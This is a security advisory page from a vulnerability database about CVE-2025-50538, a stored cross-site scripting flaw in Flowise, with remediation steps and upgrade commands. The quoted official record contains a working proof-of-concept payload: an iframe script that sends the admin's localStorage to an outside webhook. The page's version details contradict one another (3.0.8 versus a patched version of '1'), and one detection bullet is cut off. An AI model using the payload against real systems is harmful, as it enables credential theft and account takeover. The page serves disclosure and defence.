Flowise stores user messages without sanitizing them, letting attackers run scripts in admin browser
What this means
An attacker can send a specially crafted message to a Flowise agent. When an administrator views that message in the Flowise admin panel, malicious JavaScript runs in the admin's browser. This allows the attacker to steal admin credentials and other sensitive data stored in the browser, potentially taking over the administrator account and the entire Flowise system.
SecurityElites Manager Brief: the decision in one minute
Flowise npm packages before version 3.0.8 do not clean user messages before displaying them to admins. An attacker can inject a hidden script into a message that steals admin credentials when the admin reads it. Upgrade to 3.0.8 immediately.
| SecurityElites Fix-First Score | 51 of 100 Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity. |
|---|---|
| SecurityElites fix window | Within 7 days Critical severity. This is our suggestion from common practice; your own policy comes first. |
| Who should own the fix | Platform or DevOps team managing Flowise deployments. |
| Likely effort | About 15 minutes: update the flowise package to version 3.0.8 and restart the service. Downtime is minimal. |
Questions to ask your team or supplier
- Do you have any Flowise instances running versions older than 3.0.8 that accept messages from public or untrusted users?
- Have administrators accessed the View Messages feature in Flowise admin while it was running a vulnerable version? If so, have we checked for signs of credential theft?
- Do you have a process to quickly upgrade npm packages in Flowise deployments, and do you test it regularly?
Message you can forward to the owning team
Security notice: Flowise stores user messages without sanitizing them, letting attackers run scripts in admin browser (CVE-2025-50538)
Severity: Critical
SecurityElites Fix-First Score: 51 of 100
SecurityElites fix window: Within 7 days
Action: upgrade to flowise 3.0.8 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2025-50538-flowise-stores-user-messages-without-sanitizing-them-letting-attackers/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-01629What is at stake in your AI setup
- API keys and credentials stored in localStorage, which could allow an attacker to impersonate the Flowise admin and access integrated AI services
- Chat history and conversation logs, which may contain sensitive business data or customer information
- Administrator session tokens, which grant access to modify workflows, models, and system configuration
Who is exposed
- Any team running Flowise npm versions before 3.0.8
- Flowise instances that accept messages from public or untrusted users
- Teams whose administrators view stored messages in the Flowise UI
- Systems where sensitive data like API keys or credentials are stored in browser storage
Upgrades you need
| Software | Affected versions | Move to |
|---|---|---|
| flowise npm | Every version before 3.0.8 | 3.0.8 or later |
Am I affected?
Enter the version you run. Nothing you type is stored.
SecurityElites Developer Brief: the technical picture
| Is it being attacked | Working attack code is public, so expect attacks to follow |
|---|---|
| Where the attacker must be | Anywhere that can reach it over a network, including the internet if it is exposed |
| Account needed | None. No login is needed |
| Does a person have to do something | Yes. Someone has to click, open or approve something |
| How hard it is to do | Easy. It works reliably once the attacker can reach it |
| Risk of: data being read | High |
| Risk of: data or settings being changed | High |
| Risk of: the service being taken down | None |
| Can attackers automate it at scale | No, according to CISA. Each target needs manual work |
| How much control an attacker gains | Partial control, according to CISA |
Read from the official severity rating: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Kind of coding mistake
- CWE-79: script can be injected into a web page
If you cannot upgrade today
- Until you can upgrade, do not view stored messages in the Flowise admin UI unless absolutely necessary
- Restrict message submission to trusted users only by adding authentication to the agent chat interface
- Review and restrict who can access the admin panel to view messages; limit access to essential administrators only
Signs it may already have been used against you
- Check chat message logs or database records for entries containing HTML tags like
- Review admin browser console and network logs around the time administrators viewed messages for unexpected fetch or XHR requests to external domains
- Look for unusual logins to admin accounts or privilege escalation events shortly after messages were viewed
- Check localStorage or browser developer tools on admin machines for unexpected values or keys that may indicate credential theft
SecurityElites Fix Guide: step by step
- Find where Flowise is installedCheck where your Flowise npm package is deployed. This might be in node_modules, a container, or a service deployment. Run npm list flowise to see the current version across your systems.
- Check the current versionNote the version number of flowise that is currently installed. If it is earlier than 3.0.8, the system is vulnerable.
- Back up your data and configurationExport any workflows, settings, or message history from Flowise before making changes. This ensures you can restore if anything goes wrong.
- Upgrade flowise to version 3.0.8Update the flowise package to exactly version 3.0.8 or later using your package manager. Follow your normal deployment process for npm packages.
- Restart the Flowise serviceStop and start the Flowise service or redeploy the container to apply the upgrade. Confirm the service starts without errors.
- Verify the fix is in placeRun npm list flowise and confirm it now shows version 3.0.8 or later. Check that the Flowise admin panel loads and displays messages without errors.
- Review stored messages for malicious contentIf your Flowise instance accepted messages from users before the upgrade, check the message history in the database for any messages containing iframe, script, or javascript tags. Delete any suspicious messages.
- Review administrator account activityCheck logs and browser history on admin machines for signs of unusual activity or logins. Reset administrator credentials as a precaution if the system was exposed to untrusted users before the fix.
How to confirm it is fixed: Run npm list flowise and confirm the installed version is 3.0.8 or later. Test the Flowise admin panel by loading the View Messages feature and confirm it displays normally without errors.
SecurityElites Quick Fixes: copy and paste
Upgrade flowise with npmupgrade
npm install flowise@3.0.8
npm ls flowiseCheck installed flowise versionfor this issue
npm list flowiseA starting content security policy (nginx)general hardening
add_header Content-Security-Policy "default-src 'self'; object-src 'none'; base-uri 'self'" always;Test in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.
Let your AI coding assistant do the upgrade
Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.
Instruction for your coding assistant
You are helping me fix a security vulnerability (CVE-2025-50538) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n - flowise (npm): must be 3.0.8 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.SecurityElites Incident Drill: could your team handle this?
Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.
Ticket for your backlog
Paste into Jira, GitHub Issues or any tracker that reads Markdown.
Ready-made ticket
## Flowise stores user messages without sanitizing them, letting attackers run scripts in admin browser (CVE-2025-50538)
**Severity:** Critical | **SE Fix-First Score:** 51/100 | **Fix window:** Within 7 days
**Record:** SE-AIV-01629 https://securityelites.com/ai-vulnerabilities/cve-2025-50538-flowise-stores-user-messages-without-sanitizing-them-letting-attackers/
### Why this matters
An attacker can send a specially crafted message to a Flowise agent. When an administrator views that message in the Flowise admin panel, malicious JavaScript runs in the admin's browser. This allows the attacker to steal admin credentials and other sensitive data stored in the browser, potentially taking over the administrator account and the entire Flowise system.
### What to do
1. Find where Flowise is installed
2. Check the current version
3. Back up your data and configuration
4. Upgrade flowise to version 3.0.8
5. Restart the Flowise service
6. Verify the fix is in place
7. Review stored messages for malicious content
8. Review administrator account activity
Full steps: https://securityelites.com/ai-vulnerabilities/cve-2025-50538-flowise-stores-user-messages-without-sanitizing-them-letting-attackers/
### Done when
- [ ] flowise is at 3.0.8 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] Run npm list flowise and confirm the installed version is 3.0.8 or later. Test the Flowise admin panel by loading the View Messages feature and confirm it displays normally without errors.
- [ ] Logs were checked for signs of earlier use
SecurityElites Fix Tracker
Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.
Related vulnerabilities
In the same software
- Flowise CSV and Airtable agents allow data theft via prompt injection Critical · CVE-2026-73487
- Flowise can run commands and read files outside its sandbox Critical · CVE-2026-119978
- Flowise OAuth2 token endpoint open to anyone, leaks access tokens Critical · CVE-2026-70478
- Flowise CSV Agent can run Python code sent by attackers Critical · CVE-2026-70477
- Flowise allows authenticated users to change other organizations' billing High · CVE-2026-70476
- Flowise allows any authenticated user to change execution records without permission check High · CVE-2026-70475
The same kind of mistake in other AI tools
- n8n can run JavaScript in a user's browser when they open a crafted workflow High · CVE-2026-65592
Change history
- 3 Oct 2025: Made public
- 2 Dec 2026: Published
Official record
### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`.---### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered.---### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click **"View Messages"**. 4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint.---### Impact - **Type:** Stored Cross-Site Scripting (XSS) - **Who is impacted:** Any admin viewing messages in the FlowiseAI UI - **Data at risk:** Admin credentials, or sensitive info stored in `localStorage` - **Severity:** High (Account takeover, admin privilege escalation, full panel compromise)---### Affected Products - **Ecosystem:** `npm` - **Package name:** `flowise` - **Affected versions:** `< 2.2.7` - **Patched versions:**`1`
Weakness type: CWE-79
Use this record in your own tools
Get this record as JSON
curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2025-50538For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker
The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 2 Dec 2026. Read the vendor advisory before changing a production system.